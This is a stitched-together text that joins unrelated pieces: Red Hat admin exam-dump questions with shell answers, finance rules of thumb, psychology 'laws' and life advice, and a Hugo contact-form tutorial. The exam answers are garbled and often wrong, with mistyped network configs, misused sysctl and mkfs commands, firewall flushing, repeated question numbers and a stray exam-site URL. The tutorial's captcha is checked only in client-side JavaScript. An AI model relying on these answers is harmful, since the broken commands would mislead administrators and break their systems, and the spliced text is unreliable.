
Configure your Host Name, IP Address, Gateway and DNS. Host name: dtop5.dn.ws.com IP Address: 172.28.10.5/4 Gateway: 172.28.10.1 DNS: 172.28.10.1

vim /etc/sysconfig/network
    NETWORKING=yes HOSTNAME=dtop5.dn.ws.com GATEWAY=172.28.10.1
vim /etc/hosts
    172.28.10.5 dtop5.da.ws.com dtop5 # Added by NetworkManager 
    127.0.0.1 localhost.localdomain localhost 
    ::1 dtop.da.ws.com dtop5 localhost6.1oeoldomaia6 localhost6
vim /etc/resolv.conf
    # Generated by NetworkManager
    Search dn.ws.com
    Nameserver 172.28.10.1
vim /etc/sysconfig/network-scripts/ifcfg-eth0
    DEVICE="eth0" 
    NM_CONTROLLED="yes" 
    ONBOOT=yes 
    TYPE=Ethernet 
    BOOTPROTO=none 
    IPADDR=172.28.10.5 
    PREFIX=24 
    GATEWAY=172.28.10.1 
    DNS1=172.28.10.1 
    DOMAIN=dn.ws.com 
    DEFROUTE=yes 
    IPY4FAILURE_FATAL=yes 
    IPV6INTr=no 
    NAME="System eth0" 
    TJUM=5tb06b80-Obb0-71M-45f1-86edd65f3e03 
    HWADDR=00,0c:29:0E:A6:C8 

QUESTION 26

Please open the ip_forward, and take effect permanently.

vim /etc/sysctl.conf net.ipv4.ip_forward = 1
sysctl –w #(takes effect immediately)
# If no “sysctl.conf” option, use these commands:
sysctl –a |grep net.ipv4
sysctl –P net.ipv4.ip_forward = 1
sysctl -w

QUESTION 27

Make on data that only the user owner and group owner member can fully access.

chmod 770 /data
ls -ld /data # verify, preview should be like:
    drwxrwx--- 2 root sysadmin 4096 Mar 16 18:08 /data
#To change the permission on directory we use the chmod command.
#According to the question that only the owner user (root) and group member (sysadmin) can fully access the directory so: chmod 770 /data

QUESTION 28

Who ever creates the files/directories on a data group owner should automatically be in the same group owner as data.

chmod g+s /data
ls -ld /data #verify. Permission should be like this: 
    drwxrws--- 2 root sysadmin 4096 Mar 16 18:08 /data
# If SGID bit is set on directory then who every users creates the files on directory group owner automatically the owner of parent directory. To set the SGID bit:
# chmod g+s directory To Remove the SGID bit: chmod g-s directory

QUESTION 29

Your System is going to use as a Router for two networks. One Network is 192.168.0.0/24 and Another Network is 192.168.1.0/24. Both network’s IP address has assigned. How will you forward the packets from one network to another network?

echo "1" >/proc/sys/net/ipv4/ip_forward
vi /etc/sysctl.conf
    net.ipv4.ip_forward = 1
# If you want to use the Linux System as a Router to make communication between different networks, you need enable the IP forwarding. To enable on running session, set value 1 to /proc/sys/net/ipv4/ip_forward. As well as automatically turn on the IP forwarding features on next boot set on /etc/sysctl.conf file.

QUESTION 30

/data Directory is shared from the server1.example.com server. Mount the shared directory that.

vi /etc/auto.master
/mnt /etc /auto.misc --timeout=50
vi /etc/auto.misc
    data -rw,soft,intr server1.example.com:/data
service autofs restart
chkconfig autofs on
# When you mount the other filesystem, you should unmount the mounted filesystem, Automount feature of linux helps to mount at access time and after certain seconds, when user unaccess the mounted directory, automatically unmount the filesystem.
# /etc/auto.master is the master configuration file for autofs service. When you start the service, it reads the mount point as defined in /etc/auto.master.

QUESTION 31

Create one partitions having size 100MB and mount it on data.

fdisk /dev/hda #to create new partition.
    n # For New partitions.
    l # for logical parition
    Enter #When asked for the Starting Cylinder, select Default
    +100M # Type the Size. You can specify either Last cylinder of size here.
    P # to verify the partitions lists and remember the partitions name.
    w # to write on partitions table.
partprobe
mkfs -t ext3 /dev/hda

OR

mke2fs -j /dev/hda # To create ext3 filesystem.
vi /etc/fstab
    /dev/hda? /data ext3 defaults 1 2

QUESTION 32

SELinux must run in force mode.

/etc/sysconfig/selinux
    SELINUX=enforcing

QUESTION 33

The firewall must be open.

/etc/init.d/iptables start
iptables -F
iptables -X
iptables -Z
/etc/init.d/iptables save

QUESTION 34

In the system, mounted the iso image /root/examine.iso to/mnt/iso directory. And enable automatically mount (permanent mount) after restart system.

vi /etc/fstab
    /root/examine.iso /mnt/iso iso9660 loop 0 0 mount -a
mount | grep examine

QUESTION 35

Configure your NFS services. Share the directory by the NFS Shared services.

/etc/init.d/rpcbind start
/etc/init.d/nfslock start
/etc/init.d/nfs start
chkconfig rpcbind on
chkconfig nfslock on
chkconfig nfs on
showmount -e localhost

QUESTION 36

1. Find all sizes of 10k file or directory under the /etc directory, and copy to /tmp/findfiles directory.
2. Find all the files or directories with Lucy as the owner, and copy to /tmp/findfiles directory.

find /etc -size 10k -exec cp {} /tmp/findfiles \;
find / -user lucy -exec cp -a {} /tmp/findfiles \;
#Note: If find users and permissions, you need to use cp - a options, to keep file permissions and user attributes etc.

QUESTION 37

There is a local logical volumes in your system, named with common and belong to VGSRV volume group, mount to the /common directory. The definition of size is 128 MB. Requirement: Extend the logical volume to 190 MB without any loss of data. The size is allowed between 160-160 MB after extending.

lvextend -L 190M /dev/mapper/vgsrv-common resize2fs /dev/mapper/vgsrv-common

QUESTION 38

Copy /etc/fstab document to /var/TMP directory. According the following requirements to configure the permission of this document. The owner of this document must be root. This document belongs to root group. User mary have read and write permissions for this document. User alice have read and execute permissions for this document. Create user named bob, set uid is 1000. Bob have read and write permissions for this document. All users has read permission for this document in the system.

cp /etc/fstab /var/tmp
chown root:root /var/tmp/fstab
chmod a-x /var/tmp/fstab
setfacl –m u:mary:rw /var/tmp/fstab
setfacl –m u:alice:rx /var/tmp/fstab
useradd –u 1000 bob

QUESTION 39

There is a local logical volumes in your system, named with shrink and belong to VGSRV volume group, mount to the /shrink directory. The definition of size is 320MB. Requirement: Reduce the logical volume to 220 MB without any loss of data. The size is allowed between 200-260 MB after reducing.

cd; umount /shrink
e2fsck -f /dev/mapper/vgsrv-shrink
resize2fs /dev/mapper/vgsrv-shrink 220M
lvreduce -L 220M /dev/mapper/vgsrv-shrink
mount -a

QUESTION 40

One Domain RHCE is configured in your lab, your domain server is server1.example.com. nisuser2001, nisuser2002, nisuser2003 user are created on your server 192.168.0.254:/rhome/stationx/nisuser2001. Make sure that when NIS user login in your system automatically mount the home directory. Home directory is separately shared on server /rhome/stationx/ where x is your Station number.

authconfig --nisserver=<NIS SERVER> --nisdomain=<NIS DOMAIN> -- update
# authconfig --niserver=192.168.0.254 --nisdomain=RHCE --update or system-config-authentication
# Click on Enable NIS
# Type the NIS Domain: RHCE
# Type Server 192.168.0.254 then click on next and ok
# You will get a ok message.
# Create a Directory /rhome/stationx where x is your station number.
vi /etc/auto.master
    /rhome/stationx /etc/auto.home --timeout=60
vi /etc/auto.home and write
    * -rw,soft,intr 192.168.0.254:/rhome/stationx/&
# Note: please specify your station number in the place of x.
service autofs restart
#Login as the nisuser2001 or nisuser2002 on another terminal will be Success. According to question, RHCE domain is already configured. We have to make a client of RHCE domain and automatically mount the home directory on your system. To make a member of domain, we use the authconfig with option or system-config authentication command. There a are lots of authentication server i.e NIS, LDAB, SMB etc. NIS is a RPC related Services, no need to configure the DNS, weshould specify the NIS server address. Here Automount feature is available. When user tried to login, home directory will automatically mount. The automount service used the /etc/auto.master file. On /etc/auto.master file we specified the mount point the configuration file for mount point.

QUESTION 41

Upgrade the kernel, start the new kernel by default. kernel download from this address: ftp://server1.domain10.example.com/pub/update/new.kernel

ls
kernel-2.6.32-71.7.1.el6.x86_64.rpm
kernel-firmware-2.6.32-71.7.1.el6.noarch.rpm

rpm -ivh kernel-*
# Verify the grub.conf file, whether use the new kernel as the default boot.
cat /boot/grub/grub.conf 
    default=0 title Red Hat Enterprise Linux Server (2.6.32-71.7.1.el6.x86_64) root (hd0,0)
    kernel /vmlinuz-2.6.32-71.7.1.el6.x86_64 ro root=/dev/mapper/vol0-root rd_LVM_LV=vol0/root rd_NO_LUKS rd_NO_MD
    rd_NO_DM LANG=en_US.UTF-8 SYSFONT=latarcyrheb-sun16 KEYBOARDTYPE=pc KEYTABLE=us crashkernel=auto rhgb quiet
    initrd /initramfs-2.6.32-71.7.1.el6.x86_64.img

QUESTION 41

Open kmcrl value of 5 , and can verify in /proc/ cmdline

vim /boot/grub/grub.conf
    kernel/vmlinuz-2.6.32-71.el6.x86_64 ro root=/dev/mapper/GLSvg-GLSrootrd_LVM_LV=GLSvg/GLSroot
    rd_LVM_LV=GLSvg/GLSswaprd_NO_LUKSrd_NO_MDrd_NO_DM
    LANG=en_US.UTF-8 SYSFONT=latarcyrheb-sun16 KEYBOARDTYPE=pc KEYTABLE=us crashkernel=auto rhgb quiet kmcrl=5
# Restart to take effect and verification:
cat /proc/cmdline
    ro root=/dev/mapper/GLSvg-GLSroot rd_LVM_LV=GLSvg/GLSroot rd_LVM_LV=GLSvg/GLSswap rd_NO_LUKS rd_NO_MD rd_NO_DM
    LANG=en_US.UTF-8 SYSFONT=latarcyrheb-sun16 KEYBOARDTYPE=pc KEYTABLE=us rhgb quiet kmcrl=5

QUESTION 42

Configure autofs. Configure the autofs automatically mount to the home directory of LDAP, as required: server.domain11.example.com use NFS to share the home to your system. This file system contains a pre configured home directory of user ldapuserX. Home directory of ldapuserX is: server.domain11.example.com /home/guests/ldapuser

Home directory of ldapuserX should automatically mount to the ldapuserX of the local /home/guests Home directory’s write permissions must be available for users ldapuser1’s password is password

yum install -y autofs
mkdir /home/rehome
/etc/auto.master
/home/rehome/etc/auto.ldap
Keep then exit
cp /etc/auto.misc /etc/auto.ldap
https://www.gratisexam.com//etc/auto.ldap
ldapuserX -fstype=nfs,rw server.domain11.example.com:/home/guests/
# Keep then exit
systemctl start autofs
systemctl enable autofs
su - ldapuserX// test
# If the above solutions cannot create files or the command prompt is -bash-4.2$, it maybe exist multi-level directory, this needs to change the server.domain11.example.com:/home/guests/ to server.domain11.example.com:/home/guests/ldapuserX. What is multi-level directory? It means there is a directory of ldapuserX under the /home/guests/ldapuserX in the questions. This directory is the real directory.

If you have multiple streams of income, you can go as low as 3 months. If starting out on your own, you could need as much as 12 months.

3. Budget using the 50/30/20 rule.
   • 50% for needs
   • 30% for wants
   • 20% towards saving /investing

This is the bare minimum!

4. Divide your bonus into thirds:
   • 1/3 for fun
   • 1/3 for retirement
   • 1/3 for debt paydown (add to retirement if only low-interest debt)
5. Put all, or a large percentage, of your raises into saving and investing. This helps avoid lifestyle inflation and moves up your retirement date.
6. Avoid high-interest debt. If you have it, use the avalanche or snowball method to pay it off.
7. Your home payment (mortgage, interest, insurance) should cost less than 25% of your monthly income.
8. When buying a car use the 20/4/10 Rule if you have to.
   • 20% down
   • 4-year loan
   • < 10% of your monthly income
9. You should save at least 15% of your income for retirement.
10. Your age subtracted from 100 represents the percentage of stocks you should have in your portfolio. Some are now using the number 120.
11. The stock market has a longterm average return of 10%. To calculate your returns, it’s common to use 6-8% to capture the effect of inflation.
12. The rule of 72 to tells you how long it will take your investment to double.

Example: The stock market returns 10%, so 72/10 = 7.2 years to double your money.

13. The 4-percent rule says you can safely withdraw 4% of your starting investment balance each year (adjust for inflation in subsequent years) and not run out of money.

14. Your Net Worth should be equal to your age x Pre-Tax Income / 10.

Example: if you are 35 years old and $100,000 in annual income, then your net worth should be $350,000 (35 x 100000 / 10).

15. Have at least five times your gross salary in term life insurance.

16. Before spending money, wait 24 hours and ask: do I still want it? If you do, go ahead and buy it. This will save you from a lot of impulse purchases.

17. Save for retirement first, then your children’s education.

18. Value time over money and experience over things.

The best way to find the right answer on the internet is not to ask the right question, but to post the wrong answer.

Why? Because people are more interested in criticizing others than helping them.

The Streisand Effect:

In some cases, an effort to kill an idea can lead to it becoming more popular instead.

Banned books and music albums that end up becoming popular precisely because they were banned are the most famous examples of this effect.

Dunning-Kruger Effect:

People with little knowledge of a field will often overestimate their competence compared to more experienced players.

American Idol was a great example of amateurs who overestimated their ability to sing.

The Lindy Effect:

The life of perishable things, like food, decreases with age. But the life of non-perishable things, like ideas, increases with age.

The ideas that are most likely to exist 1,000 years from now are the ideas that have already existed for 1,000 years.

Confirmation bias:

We demand extraordinarily strong evidence for ideas that do not align with our beliefs, while accepting extraordinarily weak evidence for ideas that do.

Hick’s Law:

The effort required to make a decision increases with the number of options.

The more options you offer, the harder it is for customers to decide. This is why most companies are now creating products with fewer options.

Brandolini’s Law:

The amount of effort required to debunk misinformation is orders of magnitudes higher than the amount of effort required to create it.

This is why misinformation is so widely spread on the internet.

Cultural Parasitism:

The ideas and beliefs that are most widely spread in society are the ones that are most likely to be transmitted to others - not the ones that are most likely to be true.

Fake news is an example of an idea that spreads very quickly despite being false.

Luxury Beliefs:

Beliefs that confer status on the upper class while inflicting costs on the lower class.

Example: elites who support the abolition of police while living in privately guarded communities themselves, leaving poorer neighbourhoods to suffer the consequences.

Decoy Effect:

Asymmetric numbers can influence our perception of what is acceptable. This is how cinemas sell more popcorn.

By artificially increasing the price of the middle option, they make the largest option the most attractive.

Incentive bias:

Strong incentives can cause people to adopt beliefs that are incorrect or false.

“It is difficult to get a man to understand something when his salary depends upon his not understanding it.”

Reciprocity bias:

We feel obliged to repay people who have done us a favor.

Example: When waiters gift free mints with the bill, customer tips go up by 14%.

Mimetic Desire:

People have a desire to be more like their role models by copying them. This is why athletes like LeBron and Ronaldo are paid so much to wear Nikes.

People think they can be more like their role models by wearing what their idols are wearing.

Risk Aversion

We often hesitate to purchase things because we hate the thought of buying something and regretting it later.

This is why companies like Netflix offer free trials - to counter our risk aversion.

Uncertainty Aversion:

People are more bothered by the uncertainty of a wait than the duration.

This is why you see countdown clocks at traffic signals. It’s also why your food delivery app gives you an estimated time for your food to arrive.

Social Proof:

When people don’t know how to act, they will blindly copy what everyone else is doing.

This is how smoking spread among women in the US - advertisers paid female models to smoke at public events.

Fredkin’s Paradox:

The more similar two options are, the more difficult it is to decide between the two.

You will soend much more time deciding between a Honda and a Toyota, than you will deciding between a Honda and a Ferrari.

Status-seeking:

When choosing between 2 options, people will often pick the one that enhances their social status - even if that option is very costly.

Example: People will pay $2,500 for a branded handbag, even though its functionality is identical to a $250 bag.

Evolutionary Mismatch:

Humans evolved in scarcity but now live in abundance. This makes it difficult for us to resist things that are abundant today but scarce in the past - like sugar and drugs.

This evolutionary mismatch causes many problems like obesity and addiction.

Metcalfe’s Law:

The value of a network increases as the number of users in that network increases.

This is how social media works: the more friends you have using an app, the more likely you are to join and use that app.

The majority of people I know fantasize about things that actually can be accomplished. They just never get started.

If you get started and play the long game, you have a great chance of winning.

The 2nd biggest difference between success & failure is persistence:

Successful friends & peers of mine have almost always been doing their “thing” for decades. Not years.

Most people give up in the “I suck at this” phase without considering the journey from a 3Ok ft view.

99% of people are out for themselves, even if it doesn’t appear so:

Most people might find this pessimistic, but I just find it realistic.

Curious about someone’s motivation? Look at how they are incentivized.

It’s difficult to build a work ethic without the right environment:

Everyone talks about “hard work” and “outworking the competition”. It’s tough to forcefully create this behavior.

Curate your environment and the behavior is a more likely outcome.

Throw your 10-year plan in the trash:

When I look at the people in my network who are on top, most have embraced pivots, chance, and randomness. They had a plan. They had milestones.

They changed them when data (and qualitative feedback) suggested doing so.

Getting 1% better at something means leaping millions:

1% of the total internet-connected population is 46M people.

Continue to get 1% better each month, quarter, or year, and you’re making significant strides in the overall ecosystem.

Comparing yourself to others is the easiest way to get distracted:

You can only control how successful you are, not how successful someone else is.

Be the best version of yourself, not a better version of someone else.

Everyone has knowledge that other people will pay for:

The idea that you have to be an “expert” or have a certificate to teach or sell something is a fallacy.

Expertise is linear. You can make a living helping those 2-3 steps earlier in the journey than you.

There is absolutely nothing wrong with being selfish:

Can you be selfish to a fault? Of course.

If you always put the needs of others over yours (and your families), life will be more difficult.

Give and take.

Or get taken advantage of.

If you can’t teach yourself, you’re a liability:

If people have to spend their time teaching you simple things that you can learn on the internet, you’ll always be considered a liability.

It doesn’t matter what you do for a living. Being auto-didactic is a differentiator.

The most important skill to learn is how to learn on your own:

Mentors are great, but they are overrated.

Mentors work well when you’ve reached a ceiling of teaching yourself everything you could possibly know about a subject.

Learn to learn and you’re unstoppable.

You won’t do anything special without a little risk:

Those at the top of their fields nearly always took some risk.

• Risky idea.
• Risky execution.
• Risky go-to-market.
• Risky advertising plan.

Don’t be catastrophically foolish. But do take some chances.

Money is not the root of all evil:

Money is simply the key to unlocking whomever you are as a person.

Get your hands on some money so you can be the best version of yourself. Help other good people get theirs too.

Bad people with money are what’s evil.

Consistency trumps all traits:

There are lots of skills you can learn. But as a pure trait? Consistency is tough to beat.

Athlete, businessperson, creator, etc. Do your thing every single day and reap the rewards downstream.

Nearly everyone is winging it:

Are some people light-years ahead when it comes to their thing? Of course. Elon, Steve Jobs, etc.

But most people who you admire are still figuring it out. Every day, just plugging along. As nervous as you are. Find comfort in that.

It is ok to not feel connected anymore with your school/college friends.

It is better to acknowledge it and express it, than to slowly drift apart and live with the guilt “did I do it right?”

The world will do everything to dictate a timeline for your life.

Finish studies by 24. Get married by 27. Kids by 30. If you listen to the world, you will live their life. Not yours.

You do not have to be an extrovert to win.

Extroversion/Introversion has nothing to do with people. Instead it is how you gain energy. From people, or from within.

If you are introvert, strengthen yourself instead of wanting to change yourself.

Most life plans do not work out. And that’s part of the plan!

Things will change. You will change. The world will change. And thus your plans will change.

When they do, embrace the new you. It is telling you something.

It is the only decade where

• you are big enough to take big risks, and
• have a life long enough to recover if those risks do not work out

Take risks. You will be surprised at how many of them work out. Or how easily you get over them.

No one expects you to be sorted.

But you will believe you are the only one who is not!

The most binding trait of all those in their 20s, is that all of them are trying to make sense of their life. No one has it figured.

Everyone in their 20s thinks they are too old.

But you are not. You are really really early! You are just getting started. You have time to figure things out. The pressure of time is self imposed.

Life will move really fast. Don’t let it.

Do not live your life as if its happening to you. Eat. Work. Sleep. Repeat.

Pursue hobbies, learn, connect with people, work out, read, exercise, meditate, think, wake up / sleep on time, do things outside of work. LIVE LIFE!

Don’t make money to spend. Make it to retire.

If you earn to spend, you will be forced to earn all your life. If you earn to free yourself from earning, you will be able to do whatever you want to do.

For the rest of your life!

You are responsible ONLY for your happiness. Not that of others.

Other people’s baggage is theirs to deal with. Acknowledge them. Empathize with them. Support them. But allow them to work things out on their own.

FOMO will always lead to short term decisions

True for money. True for career. True for relationships. True for life!

If people like you, life will be much easier.

Be kind. Be generous. Compliment people. Help people. Do it for no returns. And you will get massive returns!

Be aware of what you are feeling

20s is when we are feeling the most. Because so much around us is constantly changing.

Don’t try to control your emotions. Instead be aware of them.

Why am I angry / sad / scared / excited / happy / nervous? Make your mind your friend. Not enemy.

Your goals are merely desires

Goals are weird. We hit them - feel great. We don’t hit them - feel shitty. But when we set them, there is no basis for it. Only a desire. Don’t set goals. Set habits.

And they will take you to far great goals you could have set for yourself.

Talking about people will never take you far. Talking about ideas will.

Surround yourself with people who talk ideas. Take yourself out from circles where you are simply talking about people!

A person isn’t nice because they are nice to you.

They are nice because they are nice to everyone, especially those they don’t need to be nice to!

Notice yourself when you start falling for people, just because they are nice to you! Observe how they treat everyone.

Keep asking questions, even if you think it annoys people

Only those who ask questions move forward. Rest everyone accepts the answer society has given them!

Your self-esteem is yours to nurture. Not for others to define.

But others will define it for you. And you will outsource your self-esteem to them. Until the day they leave and you will be left with no self-esteem.

Love yourself. Respect yourself. Nurture yourself.

Don’t optimize for money. Optimize for learning.

This decade: If you learn at the expense of money, you will earn a lot more in the future than you imagined.

If you earn at the expense of learning, you will have to keep earning and learning for the rest of your life!

If you abuse your body, you wouldn’t realize the harm until much later.

Don’t treat your body as a waste bin. Don’t ignore the signs. Don’t postpone healing yourself to tomorrow.

You shouldn’t need an accident to tell you that you are damaged.

That day is upon us folks. It’s finally time to discuss on the Frontend part for creating forms in your Hugo Webpage.

Since we are creating a new HTML element in Hugo, we have to use something called shortcode.

You must be asking…

What is a shortcode?

Keeping inline with my copy-paste nature, here’s a brief description of the same

Hugo loves Markdown because of its simple content format, but there are times when Markdown falls short. Often, content authors are forced to add raw HTML (e.g., video iframe’s) to Markdown content. We think this contradicts the beautiful simplicity of Markdown’s syntax.

Hugo created shortcodes to circumvent these limitations.

A shortcode is a simple snippet inside a content file that Hugo will render using a predefined template. Note that shortcodes will not work in template files. If you need the type of drop-in functionality that shortcodes provide but in a template, you most likely want a partial template instead.

In addition to cleaner Markdown, shortcodes can be updated any time to reflect new classes, techniques, or standards. At the point of site generation, Hugo shortcodes will easily merge in your changes. You avoid a possibly complicated search and replace operation.

Making a shortcode for my form

If you are Certified Lazy™, you can copy below code into your layouts/shortcodes/contact.html. I am skipping detailing what each line does, as it’s pretty self-explanatory.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

<form id="contact-form" name="contact-form" class="contact-form formdisable" onsubmit="return false">
  <div class="message">
    <textarea id="message" class="form-input" name="message" required="required" aria-describedby="messageHelpBlock">Hi BLZR,&#13;&#10;</textarea> 
    <span id="messageHelpBlock">Enter your message/query (Required)</span> 
  </div>
  <div class="captcha">
    <canvas id="captchaCanvas" height=80>Don't be a dork, Enable JavaScript</canvas>
    <button id="refresh" name="refresh" onclick="generateCaptcha()">&#128472;</button>
    <input id="captchaText" class="form-input" name="CAPTCHA" placeholder="Enter text above" maxlength="7" type="text" required="required" aria-describedby="CAPTCHAHelpBlock"> 
    <span id="CAPTCHAHelpBlock">CAPTCHA Test (Required)</span>
  </div>
  <div class="submit">
    <button id="submit" name="submit" onclick="sendMessage()">Send</button>
  </div>
</form>

CSS-ify that shit

Pretty simple Sass code to beautify my form. I am using a theme for my site, from which I am importing _predefined.scss. You can ignore that if you’re not using the same.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135

@import "../scss/_predefined.scss";
$textColor: #0062ff;

.admonition {
    display: none;
}
.monospace{
    font-family: monospace;
}
.prevent{
    cursor: crosshair;
    user-select: none;
    -webkit-user-select: none;
}
.formdisable{
    pointer-events:none;
}
.contact-form {
    display: grid;
    grid-template-columns: 1fr;
    grid-template-rows: 1fr 1fr auto;
    grid-auto-rows: 1fr;
    gap: 0px 0px;
    grid-auto-flow: row;
    grid-template-areas:
        "message"
        "captcha"
        "submit";
    -webkit-box-shadow: 0px 0px 50px -1px $dark-grey;
    -moz-box-shadow: 0px 0px 50px -1px $dark-grey;
    box-shadow: 0px 0px 50px -1px $dark-grey;
    -webkit-border-radius: 10px;
    -moz-border-radius: 10px;
    border-radius: 10px;

    & * {
        font-family: monospace, monospace;
        font-size: large;
    }

    & input,
    textarea {
        padding: 5px;
        -webkit-box-sizing: border-box;
        -moz-box-sizing: border-box;
        -o-box-sizing: border-box;
        -ms-box-sizing: border-box;
        box-sizing: border-box;
        outline: 0;
        border: none;
        -webkit-border-radius: 5px;
        -moz-border-radius: 5px;
        border-radius: 5px;
        color: $textColor;
        background: $dark-grey;
    }

    & div {
        & span {
            display: none;
        }
    }
}

.message {
    grid-area: message;
    padding: 10px 20px 0 20px;

    & textarea {
        width: 100%;
        resize: vertical;
        min-height: 80px;
        max-height: 400px;
        font-weight: bold;
    }
}

.captcha {
    grid-area: captcha;
    padding: 0 20px;

    >input {
        width: 100%;
    }

    >#captchaCanvas {
        width: 300px;
        height: 80px;
        border: none;
        border-radius: 15px;
        background-color: $midnightblue;
    }

    >#refresh {
        outline: 0;
        border: none;
        cursor: pointer;
        background: transparent;
        margin: 0;
        position: relative;
        top: -25%;
    }
}

.submit {
    text-align: center;
    padding: 20px 0;

    >button {
        width: 95%;
        outline: 0;
        border: 2px solid $theme;
        height: 50px;
        color: $textColor;
        cursor: pointer;
        border-radius: 5px;
        background: linear-gradient(to right, $highlight-grey, $highlight-grey);
        background-repeat: no-repeat;
        background-size: 0 100%;
        transition: background-size 1s 0s;

        &:hover:not([disabled]),
        &:focus:not([disabled]) {
            height: 50px;
            border: 2px solid $textColor;
            background-size: 100% 100%;
            color: $text;
        }

        &:disabled {
            background: $dark-grey;
            color: white;
        }
    }
}

I’m using monospaced font because I am simply not ready to deal with weirdness of fonts and, in my very subjective opinion, it looks cool.

Finally JavaScript

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108

const contactForm = document.getElementById("contact-form");
const captchaText = document.getElementById("captchaText");
const messageText = document.getElementById("message");
const submit = document.getElementById("submit");
const admonition = document.getElementsByClassName("admonition")[0];
const errorMessage = document.getElementsByClassName("admonition-content")[0];
const alphaNums = "ABCDEFGHKLMNPQRSTUVWXYZabcdefghkmnpqrstuvwxyz23456789!@#$%^&({[<>]})?";
var generatedCaptcha = '';
var sent = false;
var url = "https://worker_link";
var request = new XMLHttpRequest();
contactForm.classList.remove("formdisable");
function randomColor() {
	let r = Math.floor(Math.random() * 256);
	let g = Math.floor(Math.random() * 256);
	let b = Math.floor(Math.random() * 256);
	return 'rgb(' + r + ',' + g + ',' + b + ')';
}

function generateCaptcha() {
	if (!sent) {
		const captchaCanvas = document.getElementById("captchaCanvas");
		const ctx = captchaCanvas.getContext("2d");
		generatedCaptcha = '';
		captchaText.value = '';
		ctx.font = "25px Roboto";
		ctx.letterSpacing = "20px";
		ctx.clearRect(0, 0, captchaCanvas.width, captchaCanvas.height);
		ctx.beginPath();
		for (let i = 1; i <= 7; i++) {
			var cText = alphaNums.charAt(Math.random() * alphaNums.length);
			generatedCaptcha += cText;
			let sDeg = (Math.random() * 30 * Math.PI) / 180;
			let x = 10 + i * 20;
			let y = 20 + Math.random() * 8;
			ctx.translate(x, y);
			ctx.rotate(sDeg);
			ctx.fillStyle = randomColor();
			ctx.fillText(cText, captchaCanvas.width / 6, captchaCanvas.height / 10);
			ctx.rotate(-sDeg);
			ctx.translate(-x, -y);
		}
		for (let i = 0; i <= 6; i++) {
			ctx.strokeStyle = randomColor();
			ctx.beginPath();
			ctx.moveTo(
				Math.random() * captchaCanvas.width,
				Math.random() * captchaCanvas.height
			);
			ctx.lineTo(
				Math.random() * captchaCanvas.height,
				Math.random() * captchaCanvas.height
			);
			ctx.stroke();
		}
		for (let i = 0; i < 50; i++) {
			ctx.strokeStyle = randomColor();
			ctx.beginPath();
			let x = Math.random() * captchaCanvas.width;
			let y = Math.random() * captchaCanvas.height;
			ctx.moveTo(x, y);
			ctx.lineTo(x + 1, y + 1);
			ctx.stroke();
		}
	}
}
generateCaptcha();

const sendMessage = () => {
	admonition.style.display = "none";
	var message = messageText.value;
	var enteredCaptcha = document.getElementById("captchaText").value;
	if (!sent) {
		if (enteredCaptcha === generatedCaptcha) {
			if (message.length >= 20) {
				sent = true;
				var today = new Date();
				var dateTime = (today.getDate() + '-' + (today.getMonth() + 1) + '-' + today.getFullYear()) + ' ' + (today.getHours() + ":" + today.getMinutes() + ":" + today.getSeconds());

				captchaText.disabled = true;
				messageText.disabled = true;
				submit.disabled = true;
				var messageJson = JSON.stringify({
					MSG: `${message}`,
					UA: `${navigator.userAgent}`,
					LANG: `${navigator.language}`,
					DT: `${dateTime}`,
					ZONE: `${Intl.DateTimeFormat().resolvedOptions().timeZone}`
				});
				request.open("POST", url, true);
				request.setRequestHeader("Content-Type", "application/json");
				request.onreadystatechange = function () {
					if (request.readyState === 4 && request.status === 200) {
						console.log(JSON.parse(request.response));
					}
				};
				request.send(messageJson);
				submit.innerHTML = "Sent &#10003;";
			} else {
				admonition.style.display = "block";
				errorMessage.innerHTML = "Message length must be greater than 20 characters";
			}
		} else {
			admonition.style.display = "block";
			errorMessage.innerHTML = "Invalid or wrong Verification Code";
		}
	}
}